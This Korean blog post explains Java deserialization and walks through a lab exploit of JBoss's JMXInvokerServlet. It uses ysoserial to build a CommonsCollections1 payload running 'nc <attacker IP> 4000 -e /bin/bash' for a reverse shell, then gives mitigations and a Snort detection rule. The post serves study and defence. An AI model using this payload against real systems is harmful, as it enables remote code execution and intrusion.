1. 역직렬화(Deserialization)
- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.
- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.
- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.
- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization), 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.
- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점
2. 취약점 실습
- 역직렬화에 취약한 웹 페이지 접속
- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인
- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크
* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문
- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음
- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인
- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트
- ysoserial을 이용해 해당 취약점을 공격할 수 있음
ysoserial
- URL : https://github.com/frohoff/ysoserial
- 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구
- Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음
- 공격자는 nc 명령 실행 후 대기
- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성
- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문
$ java -jar <다운로드한 ysoserial 파일> CommonsCollections1 "nc <공격자 IP> 4000 -e /bin/bash" > reverse.bin
- /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입
- 이후 요청을 전송하면 리버스쉘이 생성됨.
3. 대응방안
① 아파치 CommonsCollections 패키지를 최신버전으로 업데이트
- 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에,
- 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을
- 항상 최신 버전으로 유지하는 것을 권장
② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요
- 역직렬화 전에 반드시 인증 과정을 수행
- 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음
- 직렬화된 객체에 디지털 서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검
- 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행
③ 직렬화 데이터 탐지
- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용
alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)
'취약점 > RCE' 카테고리의 다른 글
Apache Unomi RCE (CVE-2020-13942) (0) | 2022.12.02 |
---|---|
Struts2 REST Plugin XStream RCE 취약점 (CVE-2017-9805) (0) | 2022.11.24 |
Spring Cloud Function RCE (CVE-2022-22963) (0) | 2022.11.15 |
Apache Struts 2 Namespace RCE (CVE-2018-11776) (1) | 2022.09.29 |
iControl REST unauthenticated RCE(CVE-2021-22986) (1) | 2022.09.25 |